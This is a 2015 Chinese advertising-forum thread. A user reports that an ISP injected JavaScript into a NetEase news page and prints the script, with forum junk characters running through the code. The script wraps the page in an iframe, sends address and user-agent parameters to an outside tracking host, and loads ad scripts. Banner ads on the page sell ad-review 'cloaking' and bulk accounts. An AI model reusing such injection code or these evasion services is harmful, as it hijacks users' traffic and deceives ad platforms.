AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
Google-Bing-Mediago-Criteo开户
⚡️按条S5代理⚡️静态⚡️独享⚡️5G广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
⚡️AdsPower:安全不封号,高效自动化Google FB TK游戏代投⚡️E.PN 虚拟卡⚡️BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理虚拟信用卡+独立站收款
全球虚拟卡, 支持U充值各种主页、账单户、BM户(优势)⚡️TikTok企业户,bm户,账单户IPCola原生住宅IP⚡️$1.8/条双ISP
FB海外户、GG老户、TK加白老户PTM虚拟卡[全新卡BIN+高返点]FB虚拟卡⚡️消费越多返现越多最大欧洲Nutra网盟BA找量
高品质·稳定高速纯净IP FB个号1块一个TikTok2审户/老户/国内外端口/加白SX.ORG 高质量代理⚡235+ 地区
GG,FB,TK, 欧美源头, 欢迎合作❤️跨境债务催收/风险代理高权重Google老户[卖户+筛户等级] 海外斗篷・智能广告过审率高达 99%
DataImpulse⚡️纯净住宅代理仅 $1FB企业户海外户,授信户,TK加白户广告位出租8500万高质量住宅IP,助力各种需求
虚拟卡返佣1%,国内持牌机构   
查看: 8766|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

772

广告币

1423

积分

高级会员

Rank: 4

积分
1423
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
本帖最后由 hudba 于 2015-2-3 00:56 编辑 6 j8 _  O5 a1 A" ~/ i6 o

3 E$ G" o* u' G$ P  j/ m上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了% ~+ W! w) Q5 e$ F4 H, n4 Y

$ Z0 g5 ?1 s2 i$ p+ ?  y2 n2 p( d' M接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}/ R1 g( L* y3 f& @6 _3 d) i
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197
5 m- [4 _- @* ]

& x& g  |) p4 o8 W( c* k+ u顺便查下ip138:
/ ~! b1 `, o: ^  |- `
. o5 |- E4 s% O0 g+ E5 {& K这是那段js里面的代码,好象是个半成品还没写入广告数据:8 f& i; ~8 M2 Y; t7 ]( H4 R
  1. function locationSearch() {3 {( r$ ]) ?: z$ |( H6 b5 C
  2.         var s = getMainJs();# o9 _1 v) ]  f
  3.         if (s == null) {5 a' f: J/ c: q$ R  u$ `
  4.                 location.reload();4 s$ p1 y- G! [( b5 g
  5.         }
    5 p8 }8 v( v' k
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
    8 |6 H! ?% D* n$ Q" ~- r
  7. }) R& m$ ^$ h2 Y) P. F

  8. % l( x2 n% u+ G5 m) {4 b
  9. function getParameter(name, paraStr) {
    & n: E  Z1 ?# H9 w
  10.         var result = "";
    # z6 h  i( `6 z3 q
  11.         var str = "&" + paraStr.split("?")[1];: d$ k0 O5 v6 C/ H2 Z. d/ N: I
  12.         var paraName = "&" + name + "=";
    9 U( i# i- W/ P/ r
  13.         if (str.indexOf(paraName) != -1) {0 V7 `1 Y0 N, j" L
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {) j3 r5 c! [3 Q+ I3 T9 |
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);5 Z) `5 c, m' ]2 W* Y" W
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    6 P1 X3 b1 {8 c# }
  17.                                         1, TmpStr.length).indexOf("&")
    ) \4 b: g7 m7 G1 }
  18.                                         - TmpStr.indexOf(paraName) + 1);
    / S% E1 T' r8 H! V9 m
  19.                 } else {
    # |2 O* n3 u& ?  ^# C
  20.                         result = str.substring(str.indexOf(paraName), str.length);" d* x& Z+ G2 I+ f. d
  21.                 }; b' t9 |# Y8 u0 a5 r: y7 ~

  22. 8 J# n- T, d2 G5 w( V& b8 i
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    , j) x7 @2 }& T( X% k
  24.         } else {+ }8 P+ X/ ^5 V; N0 \% J
  25.                 result = "No such parameter";& Y0 a& l8 c. Z
  26.         }& ?3 `  K6 ^+ d
  27.         return (result.replace("&", ""));
    % S8 y5 r; G" T3 R! a* a
  28. }; A2 z. J& T7 K$ Z1 Z! y

  29. , q+ f' A' g! Y; `- \- |" F8 N( J
  30. function getMainJs() {; v, Z3 K% c- d8 U& P' }
  31.         var scripts = document.getElementsByTagName("script");" N' K' B, h* F* O8 a
  32.         var s = null;
    ' s+ a0 f. z9 X8 c
  33.         for (var i = 0; i < scripts.length; i++) {% g7 Y8 y+ b$ Q
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {0 A: i# [( }7 Y8 |
  35.                         s = scripts[i];
    : z( J: ^" p% i% h, Y# T7 B& O
  36.                         break;3 ], b$ z, G3 `5 _" _4 b
  37.                 }2 k2 u4 I" x. a- P& Z3 l: K
  38.         }1 O/ \/ @2 n6 ]; ^
  39.         return s;4 [5 C! a- F- J: q) Z. d* I
  40. }
    ' Q: A5 Q. s* i# q- U# n6 b2 S. P8 F' T

  41. $ m3 k, a6 y6 |. t, b7 z
  42. function appendParam(oStr, aStr) {
    ) k$ E* m& z6 m$ y# S1 Y) C3 m* V
  43.         if (oStr.indexOf('?') > 0) {
    # U# _( v% |# E" M! [) \# y
  44.                 oStr = oStr + "&" + aStr;5 \. o4 b" D; }9 D
  45.         } else {
    , g: D. C6 y, j) \
  46.                 oStr = oStr + "?" + aStr;$ V1 e, }' z5 X# f) i# X
  47.         }
    ) u) c: G6 P& B
  48.         return oStr;
    8 f! C9 ~# N; I& t7 ?- ^
  49. }
    - o% v( R; L( b' }

  50. 1 k- Z" f/ r$ o" I" V
  51. window.onerror = function() {
    " s5 K0 W! n# d, F- D
  52. };
    , r7 k7 @9 N5 E. m3 v

  53. ; U0 w0 t  T* Y* Z5 x  g3 G$ I
  54. var g_titleTime = 0;
    5 p( X' B  \6 ?+ e1 R
  55. function setTcTitle() {! z5 l6 E( }* ~0 o( G+ m
  56.         if (undefined == document) {3 Y! [0 U  K" u+ p' ~4 `
  57.                 g_titleTime++;4 _3 u' Z! u2 @
  58.                 setTimeout("setTcTitle();", 1000);5 ^& `/ G) Q" w- ^. [0 L( j4 S
  59.                 return;% x# i+ ~) H, L/ Y9 X, h4 T5 F
  60.         }$ P( r. b# L' Z/ B4 E; }: r
  61. 4 A2 t$ a' {, Q. u& o6 c" S* U2 h( J
  62.         var doc;* _+ I0 s9 W% y- }
  63.         try {, x! v: e3 X* r, k
  64.                 if (document.all) {9 R$ f- P, g! s! n- Y( S% x7 I
  65.                         doc = document.frames["cn"].document;
    5 K# P# D2 L' a) t) f
  66.                 } else {  q4 ?4 }5 }" y' x5 G2 |! N6 {
  67.                         doc = document.getElementById("cn").contentDocument;
    4 q% X- F4 n3 V! u6 J  m7 C
  68.                 }
    5 u1 r2 F# f: v
  69.         } catch (ex) {
    6 n4 T' K' ?3 b. j( t
  70.         }
    , M& S4 ~+ O/ k9 j

  71. 0 _1 U8 e! y2 f$ C3 a* e8 J
  72.         if (g_titleTime < 52 L5 q7 @0 o/ [9 f2 f' j: W" z
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {5 _1 o9 ?1 r( l1 @0 O+ m2 c; l/ m2 Z
  74.                 g_titleTime++;
    2 b, p7 `: X. G3 J
  75.                 setTimeout("setTcTitle();", 1000);
    6 e# i! X9 M" A* j$ i
  76.                 return;0 ~- v8 b- @1 }/ b0 I  _
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    , b/ `& g: d3 M9 _7 |  e
  78.                 document.title = doc.title;
    2 l( e1 B% @. T/ ?3 U8 j( N
  79.                 setTcAdvVisible();
    1 T6 }+ q. P% E
  80.         }" _5 A3 x) U" i  y
  81. }
    8 C% G) F- ^% ?! k
  82. ) t* C7 a$ B0 @" |7 h; m  U
  83. setTimeout("setTcTitle();", 1000);
    + ?0 Q+ U3 \( e0 ?' z: M# Z

  84.   }/ U5 E3 S, _) V/ g
  85. var g_isHaveVisible = false;
    ; U4 ~; ?! G: N! I
  86. function setTcAdvVisible() {
    : N# r# x5 f0 Y2 T1 O( z2 I' R. {
  87.         if (undefined != document && undefined != document.getElementById("addiv")
    / O- r' ^: E3 h8 r9 E/ {7 x1 z0 o
  88.                         && !g_isHaveVisible) {& t9 A( s$ e) |
  89.                 document.getElementById("addiv").style.visibility = 'visible';
    0 f% ^0 B9 F8 s/ A
  90.                 document.getElementById("addiv").style.display = 'block';- b  r4 O: I9 u  d0 I% p
  91.                 g_isHaveVisible = true;
    ' |$ {$ x% p% c  A6 w- p# Z
  92.         }% t6 Q& U" i" p1 v8 Q6 L0 q1 J0 h
  93. }$ p, Q) L' }( N/ w' B3 f9 e, [
  94. & v, {6 F9 Y7 @- G
  95. function UrlAnalyzer() {
    & x5 o& P+ h( }; ^  I; Q4 L
  96.         this.divda = "";
    3 d: h% R" f5 q6 C+ H
  97.         this.tctype = "";
    . v0 U# {8 q% W- I0 q3 T  a
  98.         this.radius = "";
    8 q5 d' T! a1 ]0 f0 A! a8 m( I
  99.         this.rlu = "";
    + Q4 D% f( J5 }& d6 X
  100. }
    / i  V4 Y) w- n

  101. . E  W, o: J1 q+ z
  102. UrlAnalyzer.prototype.initParameters = function() {
    - G7 ?5 E7 R( c; D1 G$ V+ F
  103.         var paraStr = locationSearch();
    , b6 h7 |5 D" o
  104.         this.rlu = getParameter("lruedct", paraStr);) k. Z0 d0 M( l: N# e: K8 C: E% y1 q
  105.         this.divda = getParameter("divda", paraStr);
      q2 D. Z0 r& m$ H
  106.         this.radius = getParameter("radius", paraStr);" y& t* X3 W6 T0 p% |4 Z4 Y
  107.         this.tctype = getParameter("tctype", paraStr);
    + y7 m4 \5 e8 m( X! i3 m" P+ i
  108.         this.address = getParameter("address", paraStr);% e, Y: C7 ]# x: \. |
  109.         this.usagent = getParameter("usagent", paraStr);
    5 [* _6 N5 C, R$ x  ~7 m
  110. }3 S8 V! [4 h) ^5 z6 f

  111. . j  p( u  ~3 L# y7 W" S& X
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {
    * h  T! H5 q1 X; l* E, G- ?/ ]
  113.         var doc;
    0 e2 I; Z  c- h* I
  114.         try {
    & Q0 i) V, P+ m5 ?6 n6 U3 m! }
  115.                 if (document.all) {
    " U9 d* F1 d' F. Y
  116.                         doc = document.frames["cn"].document;4 x+ w! z$ f: Z( {

  117. 7 A2 p/ p9 ^" W4 g) {$ t
  118.                 } else {
    5 W8 o, A1 G" U: K) K
  119.                         doc = document.getElementById("cn").contentDocument;
    # P: T( M4 @& N* u- p: h
  120.                         // doc = document.getElementById("cn").contentWindow.document;
    & L7 D; _$ ?( A
  121.                 }7 L& V; z5 H7 ]! ~
  122.         } catch (ex) {
    & q+ _& I# j0 K: f2 [3 X( g  L7 |
  123.         }$ Z8 l3 e- H2 o& u9 l' C* g2 |
  124.         return doc;
    * k1 e0 ~) R0 }* V
  125. }. O, E7 u- s% j  Z. p% Z$ x( X% B2 f
  126. ! v" w& {3 _) A) `0 B9 N3 T, f
  127. UrlAnalyzer.prototype.setDomain = function() {
    5 v3 L: s9 f* \* Q
  128.         if (undefined != document.title && "" == document.title)
    $ {/ G) l2 t' O8 |& {- o- g
  129.         {# Z! w0 c! @, q+ i
  130.                 var index = document.domain.indexOf(".");$ I2 T7 |5 M& A: j
  131.                 if (undefined != index && -1 != index) {- h' m3 ?. Z9 |
  132.                         document.domain = document.domain.substring(index + 1,
    6 [* }$ y( l. C- J; t- P- A9 u
  133.                                         document.domain.length);
    ) }; Q& a) ^/ z4 [
  134.                 }
    % M+ t0 \* z7 q$ [- ^. t
  135.                
    8 e# V1 s! P! Z% A0 L% d/ j" `
  136.                 var doc = this.getHtmlDoc();
    3 ?+ \' C0 j( I" E% l5 l% X5 L
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
    . Y/ e' v+ `- l) O  Y
  138.                         document.title = doc.title;
    6 g1 j6 R  l" j% C5 Q
  139.                         setTcAdvVisible();% b& ^2 V0 K0 U
  140.                 }
    1 t7 j, Z6 e. G# }! V6 V
  141.         }
    ' P- H- {# i0 x6 i4 @, d( L
  142. }8 a: C" `: ^( N8 G) u5 o+ ~

  143. % B& g6 e9 L& X/ k2 n
  144. UrlAnalyzer.prototype.iframeCallback = function() {' _: G1 q2 m% O6 Y& F
  145.         var doc = this.getHtmlDoc();( m' z1 h  F. K/ Q# {* H0 h
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {! R% @0 P& t( _8 _1 W
  147.                 if (undefined != document.domain) {
    0 k+ ?5 M* p5 }9 k- Z- j

  148. ( a2 V5 @: \/ y3 X% l0 {3 P+ G2 ~$ a- E
  149.                         var self = this;1 Q; ?/ [1 K& U4 m
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);* S7 f9 Z2 m& Z. Y
  151.                         // var index = document.domain.indexOf(".");
    ; W5 R  |6 m. X' I# U/ B
  152.                         // if (undefined != index && -1 != index) {/ G2 l+ L  z& n4 t
  153.                         // document.domain = document.domain.substring(index + 1,& \: _9 j7 c  s$ h1 ~% `4 G0 m% n, m
  154.                         // document.domain.length);& _2 C4 Y& G7 ^& v: C1 O; \
  155.                         // }
    4 Q# [' Y) J3 x6 U
  156.                         //
    2 c' O/ C- n6 m& O: ]* v
  157.                         // var doc = this.getHtmlDoc();
    % k$ g; r( f  o5 m8 R3 ~) U
  158.                         // if (undefined != doc && undefined != doc.title && "" !=# e5 ~; H! \/ @' q4 ~$ ^+ S5 e* K
  159.                         // doc.title) {
    % Y0 L0 m9 Q; t0 t& h
  160.                         // document.title = doc.title;
    4 x2 G  ], _4 j) P4 |; Y* R
  161.                         // setTcAdvVisible();
    / |/ n( g( p+ K3 y* {) s
  162.                         // }4 S( `: m: L) y. [. u2 o
  163.                 }; f( G. u% L9 `- n0 J
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    5 ~) Z# @% T( d$ D# \" |$ ^: C: S
  165.                 document.title = doc.title;7 j$ K: j+ H* n( j9 G
  166.                 setTcAdvVisible();  V$ m5 H/ l# J' V! E9 K" f
  167.         }
    , J+ r3 b! ?& }
  168. }4 E  [; @' M7 D9 k8 u8 c! C, M! Q

  169. 9 ]  [3 Q6 S" [2 ]& q, k
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {
    + t1 i/ L( m: V' V) ~
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
    ' F3 @: i# R) N
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
    $ B/ r9 c0 `  Y  H

  173. 3 Z' ^: y& I) `. j* U" T
  174.         var htmlStr = "<iframe src="" + staUrl. _- i( A; m; l* @$ J# [7 ?5 \8 r+ p0 Y
  175.                         + "" style="display:none"></iframe>";
      l! l7 @8 L1 A, u1 o

  176. - F. ~9 w. I6 h4 |0 A! H
  177.         var advUrl = htmlStr/ r5 g1 B$ J# J4 S0 F
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="- _1 h0 B& [0 R( J' J8 L# h+ V
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";6 i* a# g4 w. L/ e* s& A7 I+ s
  180.         document.write(advUrl);
    : g  \2 a8 W4 C9 ^4 k, k& m

  181. . i3 _+ `( Z0 W( v, A
  182.         var self = this;- Y% R; Y. M! J8 }; E5 m
  183.         var iframe = document.getElementById("cn");  l2 K& _0 N) p0 c8 |
  184.         if (iframe.attachEvent) {3 ]/ r% A- j) ^4 W9 W
  185.                 iframe.attachEvent("onload", function() {* P. A! Y8 t% _) M( T
  186.                         self.iframeCallback.call(self, null);' c4 T. t5 G- G  t7 v
  187.                 });9 n1 m/ n% g/ L* }1 t
  188.         } else {( F: g% X1 r6 h6 j, P3 B* v* x( m2 N! F
  189.                 iframe.onload = function() {
    * g/ Y# q! }  r& `% y  \0 ^& g% b1 y
  190.                         self.iframeCallback.call(self, null);
    ; k  a  o  B. l; u  ^8 L6 `. _# B
  191.                 }9 [' x8 l1 M) y$ x# l
  192.         }3 N5 _3 Z; ?9 G2 N. M  x/ S4 Y
  193. }* ?6 i9 n8 E9 S' f6 p2 P4 |  I
  194. . F. t3 h' T6 q
  195. UrlAnalyzer.prototype.executeMain = function() {
    # D" g. D3 v/ D7 R9 H: ^  b
  196.         var mainFrame = document.getElementById("cn");
    - Z4 M) x9 G: _! u8 B# |9 T
  197.         mainFrame.contentWindow.location.href = mainFrame.src;  B" x- R/ W2 H& V
  198.         this.initParameters();/ z1 n0 `% y6 m' [& S, y  x
  199.         this.executeHtmlContext();2 ^* E+ @& i3 L
  200. }
    # N# Z. J, \' R) u

  201. # G0 ~" L( t: ?# f. f
  202. var g_analyzer = new UrlAnalyzer();6 Z) m) l+ _9 a+ a1 T, D
  203. g_analyzer.executeMain();
    4 f* Z8 w: J0 l. a" F, W
复制代码
  W! G. ~$ r3 b  L( K9 j

4 c2 l  G2 I* T. t; k4 V
% v( [) b3 P! U8 Z

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

52

主题

456

广告币

842

积分

中级会员

Rank: 3Rank: 3

积分
842
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

348

广告币

595

积分

中级会员

Rank: 3Rank: 3

积分
595
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1730

广告币

2028

积分

高级会员

Rank: 4

积分
2028
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

70

广告币

498

积分

中级会员

Rank: 3Rank: 3

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:49* y# Z2 ^& m$ N/ P/ ~1 ?
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

- F0 E$ y' [5 G- B+ b+ g$ ^+ dTCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26# ^! v4 n9 g0 ]3 t
TCP劫持,换DNS也不管用的。
) G# T* y/ o; e" E7 d
幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

Rank: 4

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2026-4-7 04:03 , Processed in 0.051758 second(s), 15 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表